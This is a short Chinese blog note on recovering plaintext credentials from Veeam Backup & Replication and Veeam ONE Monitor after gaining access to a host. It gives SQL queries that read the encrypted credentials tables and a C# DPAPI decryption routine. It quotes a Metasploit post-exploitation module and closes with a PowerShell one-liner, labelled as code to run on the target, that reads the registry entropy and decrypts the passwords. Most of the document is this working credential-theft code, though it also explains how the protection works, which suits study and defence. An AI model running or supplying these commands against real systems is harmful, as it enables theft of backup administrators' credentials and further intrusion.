Veeam-小记
Veeam
致谢:
由上边两篇源码,一篇原理,我们了解 Veeam 加密逻辑,通过 DPAPI 加密凭证。
什么是 DPAPI
Data Protection Application Programming Interface is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems
书归正传
代码示例 1:
获取加密得凭证
SELECT user_name, password FROM VeeamBackup.dbo.Credentials
代码示例 2:
解密核心逻辑
出处:learn.microsoft.com/zh-cn/dotnet/standard/security/how-to-use-da…
static string DecryptPassword(string encryptedPassword) { try { byte[] encryptedbytePassword = Convert.FromBase64String(encryptedPassword); byte[] decryptedData = ProtectedData.Unprotect(encryptedbytePassword, null, DataProtectionScope.LocalMachine); return Encoding.Default.GetString(decryptedData); } catch (Exception ex) { Console.WriteLine($"Error decrypting password: {ex.Message}"); return string.Empty; } }
环境不可用
从 msf 官方发现了一个 post 后渗透插件
github.com/rapid7/metasploit-framework/blob/master//modules/post…
通过阅读代码 Veeam 版本分为 :
- Veeam Backup & Replication
- Veeam ONE Monitor
代码示例 1:
获取加密凭证
SELECT user_name,password FROM monitor.Credentials
代码示例 2:
# Veeam ONE switched from weaksauce PBKDF2 to DPAPI with static entropy between 11.0.0 and 11.0.1 # DPAPI is in use if there is an an "Entropy" value under HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\ if !@vom_entropy_b64.nil? && !@vom_entropy_b64.empty? # New-style (DPAPI) cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'),[Convert]::FromBase64String('#{@vom_entropy_b64}'), 'LocalMachine'))"
从代码中,我们可以看到,和之前代码逻辑想比,Veeam One Monitor 版本加密,将注册表中
HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\
的二进制值,传入该解密方法中。那么我们跟进一下代码
两段代码同时都调用了微软官方的这个接口
我们来看核心函数:
/// <summary>Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.</summary> /// <param name="encryptedData">A byte array containing data encrypted using the <see cref="M:System.Security.Cryptography.ProtectedData.Protect(System.Byte[],System.Byte[],System.Security.Cryptography.DataProtectionScope)" /> method.</param> /// <param name="optionalEntropy">An optional additional byte array that was used to encrypt the data, or <see langword="null" /> if the additional byte array was not used.</param> /// <param name="scope">One of the enumeration values that specifies the scope of data protection that was used to encrypt the data.</param> /// <exception cref="T:System.ArgumentNullException">The <paramref name="encryptedData" /> parameter is <see langword="null" />.</exception> /// <exception cref="T:System.Security.Cryptography.CryptographicException">The decryption failed.</exception> /// <exception cref="T:System.NotSupportedException">The operating system does not support this method.</exception> /// <exception cref="T:System.OutOfMemoryException">Out of memory.</exception> /// <exception cref="T:System.PlatformNotSupportedException">.NET Core and .NET 5+ only: Calls to the <c>Unprotect</c> method are supported on Windows operating systems only.</exception> /// <returns>A byte array representing the decrypted data.</returns> public static byte[] Unprotect( byte[] encryptedData, byte[]? optionalEntropy, DataProtectionScope scope) { ProtectedData.CheckPlatformSupport(); if (encryptedData == null) throw new ArgumentNullException(nameof (encryptedData)); return ProtectedData.ProtectOrUnprotect(encryptedData, optionalEntropy, scope, false); }
函数作用:Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.
第一个参数,byte[] 的加密数据
第二个参数: 解密指定字节数组中的数据,并返回包含解密数据的字节数组。
第三个参数: 指定用于加密数据的数据保护范围的枚举值之一。
返回是解密的数据 byte[] 数组
落地代码
目标执行解密
$data = "crypt data" $key = [Convert]::ToBase64String((Get-ItemPropertyValue -Path 'HKLM:\\SOFTWARE\\Veeam\\Veeam ONE\\Private\\' -Name Entropy)) Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($data),[Convert]::FromBase64String($key), 'LocalMachine'))